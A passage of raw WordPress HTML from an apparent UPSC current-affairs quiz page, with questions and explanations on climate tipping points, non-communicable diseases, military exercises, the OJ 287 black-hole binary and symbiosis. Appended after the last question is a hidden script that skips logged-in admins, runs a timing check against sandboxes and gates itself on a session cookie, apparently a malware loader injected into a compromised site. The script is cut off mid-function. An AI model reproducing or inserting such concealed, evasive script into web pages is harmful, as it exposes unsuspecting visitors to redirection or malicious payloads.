sea level rise.<\/li>\n\n\n\n<li><strong>Atlantic Meridional Overturning Circulation (AMOC)<\/strong> slowdown \u2013 affects monsoons and temperature regulation.<\/li>\n\n\n\n<li><strong>Arctic Sea Ice loss<\/strong> \u2013 amplifies global warming due to albedo effect.<\/li>\n\n\n\n<li><strong>Amazon Rainforest dieback<\/strong> \u2013 shifts to savannah, releases huge carbon stocks.<\/li>\n\n\n\n<li><strong>Permafrost thawing<\/strong> \u2013 releases methane, a potent greenhouse gas.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\"><strong>B. Biosphere Tipping Points: <\/strong>Related to <strong>ecosystem collapse or transformation<\/strong> due to climate and human pressures.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\"><strong>Examples:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-110\">\n<li><strong>Coral reef bleaching<\/strong><\/li>\n\n\n\n<li><strong>Boreal forest dieback<\/strong><\/li>\n\n\n\n<li><strong>Freshwater system collapse<\/strong><\/li>\n\n\n\n<li><strong>Ocean acidification<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"602\" height=\"375\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-22.jpg\" alt=\"\" class=\"wp-image-2572\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-22.jpg 602w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-22-300x187.jpg 300w\" sizes=\"auto, (max-width: 602px) 100vw, 602px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2016)<\/strong> <br><strong>Q. The term \u2018Intended Nationally Determined Contributions\u2019 is sometimes seen in the news in the context of<\/strong> <br><br>(a) pledges made by the European countries to rehabilitate refugees from the war-affected Middle East <br><strong>(b) plan of action outlined by the countries of the world to combat climate change<\/strong> <br>(c) capital contributed by the member countries in the establishment of Asian Infrastructure Investment Bank <br>(d) plan of action outlined by the countries of the world regarding Sustainable Development Goals<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/climate-change\/earth-enters-new-reality-as-first-climate-tipping-point-triggers-unprecedented-coral-reef-dieback\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/climate-change\/earth-enters-new-reality-as-first-climate-tipping-point-triggers-unprecedented-coral-reef-dieback<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\"><strong>7. Which of the following are Non-Communicable Diseases (NCDs)?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\">1. Diabetes<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\">2. Tuberculosis<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\">3. Stroke<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\">4. Heart disease<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\">5. Malaria<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\">(a) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\">(b) 1, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\">(c) 2, 4 and 5<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\">(d) 1, 2, 4 and 5<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\"><strong>Answer: (b) 1, 3 and 4<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\"><strong>In NEWS: <\/strong>Non-communicable diseases surge: Heart disease, diabetes cause two-thirds of global deaths in 2023, surpassing infections.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\"><strong>Global Health Shift: NCDs Overtake Infections<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-127\">\n<li>Non-Communicable Diseases (NCDs), including heart disease, stroke, and diabetes, now account for nearly two-thirds of global deaths, surpassing infections for the first time.<\/li>\n\n\n\n<li>Mental health disorders have surged, with anxiety increasing by 63% and depression by 26%.<\/li>\n\n\n\n<li>Global life expectancy has rebounded post-COVID to <strong>76.3 years for women<\/strong> and <strong>71.5 years for men<\/strong>, returning to pre-pandemic levels.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\"><strong>India&#8217;s Health Landscape<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-129\">\n<li>India recorded <strong>9.85 million deaths<\/strong> in 2023, ranking second globally after China.<\/li>\n\n\n\n<li>Life expectancy in India stands at <strong>73 years for women<\/strong> and <strong>70.2 years for men<\/strong>, with women experiencing the world&#8217;s largest increase in life expectancy since 1950.<\/li>\n\n\n\n<li>Despite progress, <strong>under-five mortality remains high<\/strong>, with an estimated <strong>692,000 deaths<\/strong> in 2023.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\"><strong>Non-Communicable Diseases (NCDs)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-131\">\n<li>NCDs are <strong>diseases that are not transmissible from person to person<\/strong>.<\/li>\n\n\n\n<li>They are <strong>chronic in nature<\/strong>, often long-lasting, and progress slowly.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\"><strong>Major Types<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\"><strong>1. Cardiovascular Diseases (CVDs)<\/strong> \u2013 heart attack, stroke, hypertension<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\"><strong>2. Diabetes<\/strong> \u2013 Type 1 and Type 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\"><strong>3. Cancer<\/strong> \u2013 lung, breast, cervical, etc.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\"><strong>4. Chronic Respiratory Diseases<\/strong> \u2013 COPD, asthma<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\"><strong>5. Mental Health Disorders<\/strong> \u2013 depression, anxiety, bipolar disorder<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\"><strong>Hence option (b) 1, 3 and 4 are correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\"><strong>Risk Factors<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-140\">\n<li><strong>Lifestyle<\/strong>: Tobacco, alcohol, unhealthy diet, physical inactivity<\/li>\n\n\n\n<li><strong>Environmental<\/strong>: Pollution, climate change, occupational hazards<\/li>\n\n\n\n<li><strong>Genetic<\/strong>: Family history of NCDs<\/li>\n\n\n\n<li><strong>Socioeconomic<\/strong>: Urbanization, stress, inequities in healthcare access<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\"><strong>Government Initiatives in India<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-142\">\n<li><strong>National Programme for Prevention and Control of Cancer, Diabetes, CVD &amp; Stroke (NPCDCS)<\/strong><\/li>\n\n\n\n<li><strong>Ayushman Bharat \u2013 Health and Wellness Centres<\/strong> focusing on NCD prevention<\/li>\n\n\n\n<li><strong>Tobacco control measures<\/strong>: COTPA Act, anti-smoking campaigns<\/li>\n\n\n\n<li><strong>Promotion of healthy lifestyle<\/strong>: \u201cFit India Movement\u201d, diet and exercise awareness<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"601\" height=\"339\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-21.jpg\" alt=\"\" class=\"wp-image-2571\" style=\"width:840px;height:auto\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-21.jpg 601w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-21-300x169.jpg 300w\" sizes=\"auto, (max-width: 601px) 100vw, 601px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2013)<\/strong> <br><strong>Q. Which of the following diseases can be transmitted from one person to another through tattooing?<\/strong> <br><br>1. Chikungunya <br>2. Hepatitis B <br>3. HIV-AIDS <br><br><strong>Select the correct answer using the codes given below:<\/strong> <br><br>(a) 1 only <br><strong>(b) 2 and 3 only<\/strong> <br>(c) 1 and 3 only <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/health\/non-communicable-diseases-surge-heart-disease-diabetes-cause-two-thirds-of-global-deaths-in-2023-surpassing-infections\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/health\/non-communicable-diseases-surge-heart-disease-diabetes-cause-two-thirds-of-global-deaths-in-2023-surpassing-infections<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\"><strong>8. Consider the following pairs:<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>S.No<\/strong><\/td><td><strong>Military Exercises in News<\/strong><\/td><td><strong>Participating Countries<\/strong><\/td><\/tr><tr><td><strong>1<\/strong><\/td><td>ZAPAD<\/td><td>Russia and the United Kingdom<\/td><\/tr><tr><td><strong>2<\/strong><\/td><td>KONKAN<\/td><td>India and Egypt<\/td><\/tr><tr><td><strong>3<\/strong><\/td><td>AUSTRAHIND<\/td><td>India and Australia<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\"><strong>How many of the pairs given above are correctly matched?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\">(c) All three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\"><strong>Answer: (a) Only one<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\"><strong>In NEWS: <\/strong>Military exercises held recently<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\"><strong>ZAPAD 2025:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-154\">\n<li>Zapad 2025 is a joint strategic military exercise conducted<strong> between Russia and Belarus. Hence pair 1 is incorrect.<\/strong><\/li>\n\n\n\n<li>The exercise focused on defensive operations, including scenarios involving restoring territorial integrity in case of external aggression.<\/li>\n\n\n\n<li>The drills featured modern warfare systems, including drones, electronic warfare, and missile systems, with some involving nuclear-capable platforms.<\/li>\n\n\n\n<li>The exercise was closely monitored by other countries due to its geopolitical significance near NATO borders.<\/li>\n\n\n\n<li>India sent 65 personnel drawn from all three services (Army, Air Force, Navy) to take part in the exercise.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\"><strong>KONKAN 2025:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-156\">\n<li>Konkan 2025 is a bilateral naval exercise between the <strong>Indian Navy and the Royal Navy of the United Kingdom. Hence pair 2 is incorrect.<\/strong><\/li>\n\n\n\n<li>For the first time, both countries deployed their carrier strike groups together &#8211; <strong>India&#8217;s INS Vikrant and the UK&#8217;s HMS Prince of Wales.<\/strong><\/li>\n\n\n\n<li>The exercise included sea-based operations such as anti-submarine warfare, maritime air operations, and air defence drills.<\/li>\n\n\n\n<li>It also featured tactical air warfare exercises, including Beyond Visual Range (BVR) air combat drills and coordinated air operations.<\/li>\n\n\n\n<li>Harbour phase activities involved professional exchanges, cross-deck visits, and joint briefings.<\/li>\n\n\n\n<li>The objective was to enhance interoperability, demonstrate naval reach, and strengthen maritime security cooperation.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-157 wp-block-paragraph\"><strong>AUSTRAHIND 2025:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-158\">\n<li>Austrahind 2025 is a bilateral joint military exercise between <strong>India and Australia. Hence pair 3 is correct.<\/strong><\/li>\n\n\n\n<li>The exercise involves company-level operations, primarily focused on<strong> urban and semi-urban combat scenarios.<\/strong><\/li>\n\n\n\n<li>It is conducted under the framework of a United Nations mandate, simulating peacekeeping or multinational missions.<\/li>\n\n\n\n<li>The aim is to strengthen joint operational capabilities and improve coordination in complex terrain.<\/li>\n\n\n\n<li>The exercise reflects the growing strategic partnership between India and Australia and their shared commitment to regional security and global peace.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-159 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/india-australia-joint-military-exercise-austrahind-begins-in-perth\/article70160069.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/india-australia-joint-military-exercise-austrahind-begins-in-perth\/article70160069.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\"><a href=\"https:\/\/www.newsonair.gov.in\/india-participates-in-russia-led-zapad-2025-military-exercise-with-65-armed-forces-personnel\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.newsonair.gov.in\/india-participates-in-russia-led-zapad-2025-military-exercise-with-65-armed-forces-personnel\/<\/a><\/p>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\"><a href=\"https:\/\/economictimes.indiatimes.com\/news\/defence\/carrier-strike-group-exercise-demonstrates-uk-india-ties-as-global-partners-uk-minister-of-state-for-defence\/articleshow\/124476631.cms?from=mdr\" target=\"_blank\" rel=\"noopener\">https:\/\/economictimes.indiatimes.com\/news\/defence\/carrier-strike-group-exercise-demonstrates-uk-india-ties-as-global-partners-uk-minister-of-state-for-defence\/articleshow\/124476631.cms?from=mdr<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\"><strong>9. Recently, Scientists have captured the \u2018quasar OJ 287\u2019, the first-ever radio image of two black holes orbiting each other. What is the significance of this observation?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-163 wp-block-paragraph\">(a) It provides the first direct image of a binary supermassive black hole system, helping test General Relativity and understand gravitational waves.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\">(b) It confirms the exact distance of Sagittarius A* from Earth and its role in the Milky Way\u2019s evolution.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-165 wp-block-paragraph\">(c) It represents the first-ever detection of a black hole outside the Milky Way.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-166 wp-block-paragraph\">(d) It demonstrates that M87\u2019s black hole periodically emits flares observable from Earth.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-167 wp-block-paragraph\"><strong>Answer: (a) It provides the first direct image of a binary supermassive black hole system, helping test General Relativity and understand gravitational waves.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-168 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-169 wp-block-paragraph\"><strong>In NEWS: <\/strong>Two black holes spotted in orbit circling around each other<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-170 wp-block-paragraph\"><strong>Two Black Holes Spotted in Orbit:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-171\">\n<li>Scientists have <strong>captured the first-ever radio image of two black holes orbiting each other<\/strong>, confirming a long-standing astronomical prediction.<\/li>\n\n\n\n<li>The observation was made using the <strong>RadioAstron Space Telescope<\/strong> and a global network of radio telescopes.<\/li>\n\n\n\n<li>The system is identified as the <strong>quasar OJ 287<\/strong>, located about <strong>5 billion light-years<\/strong> away from Earth.<\/li>\n\n\n\n<li>OJ 287 is known for its <strong>periodic bursts of light<\/strong> every 12 years, which were linked to the orbital motion of two black holes.<\/li>\n\n\n\n<li>Historical light variations in OJ 287 were traced back to <strong>19th-century photographic records<\/strong>, confirming its long-term periodic behavior.<\/li>\n\n\n\n<li>The larger black hole in the system has a mass of around <strong>18 billion times that of the Sun<\/strong>, while the smaller one is about <strong>100 million solar masses<\/strong>.<\/li>\n\n\n\n<li>The smaller black hole emits a <strong>jet of high-energy particles<\/strong>, which appears to wobble or \u201cwag\u201d as it orbits the larger black hole.<\/li>\n\n\n\n<li>This image achieved <strong>unprecedented angular resolution<\/strong>, higher than that used for imaging <strong>Sagittarius A* and M87 black holes.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-172 wp-block-paragraph\"><strong>Significance:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-173\">\n<li>The discovery provides the <strong>clearest evidence yet of a binary supermassive black hole system<\/strong>.<\/li>\n\n\n\n<li>The finding is significant for the study of <strong>gravitational waves<\/strong>, since merging black holes are primary sources of such waves.<\/li>\n\n\n\n<li>It opens new avenues for <strong>understanding galaxy evolution, relativistic jet formation<\/strong>, and <strong>Einstein\u2019s theory of General Relativity<\/strong>. <strong>Hence option (a) is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2019)<\/strong> <br><strong>Q. Recently, Scientists observed the merger of giant blackholes\u2019 billions of light-years away from the Earth. What is the significance of this observation?<\/strong> <br><br>(a) &#8216;Higgs boson particles&#8217; were detected. <br><strong>(b) &#8216;Gravitational waves&#8217; were detected.<\/strong> <br>(c) Possibility of inter-galactic space travel through &#8216;wormhole&#8217; was confirmed. <br>(d) It enabled the scientists to understand &#8216;singularity&#8217;.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-174 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2177369#:~:text=They%20spotted%20radio%20image%20of,back%20to%2019th%2Dcentury%20photographs\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2177369#:~:text=They%20spotted%20radio%20image%20of,back%20to%2019th%2Dcentury%20photographs<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-175 wp-block-paragraph\"><strong>10. Which of the following have species that can establish a symbiotic relationship with other organisms?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-176 wp-block-paragraph\">1. Cnidarians<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-177 wp-block-paragraph\">2. Fungi<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-178 wp-block-paragraph\">3. Protozoa<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-179 wp-block-paragraph\"><strong>Select the correct answer using the code given below.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-180 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-181 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-182 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-183 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-184 wp-block-paragraph\"><strong>Answer: (d) 1, 2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-185 wp-block-paragraph\"><strong>Explanation<\/strong><strong>:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-186 wp-block-paragraph\"><strong>1. Cnidarians: <\/strong>Many cnidarians (e.g., <strong>corals<\/strong>) establish <strong>symbiotic relationships with zooxanthellae<\/strong> (photosynthetic algae).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-187 wp-block-paragraph\"><strong>2. Fungi: <\/strong>Fungi form symbiosis with plants (<strong>mycorrhizae<\/strong>) and algae\/cyanobacteria (<strong>lichens<\/strong>).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-188 wp-block-paragraph\"><strong>3. Protozoa: <\/strong>Protozoa can form symbiotic relationships, e.g., <strong>Trichonympha in termite guts<\/strong> helps digest cellulose, or some protozoa live in mutualism with other aquatic organisms.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-189 wp-block-paragraph\"><strong>Thus, all three groups are capable of symbiotic relationships.<\/strong><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 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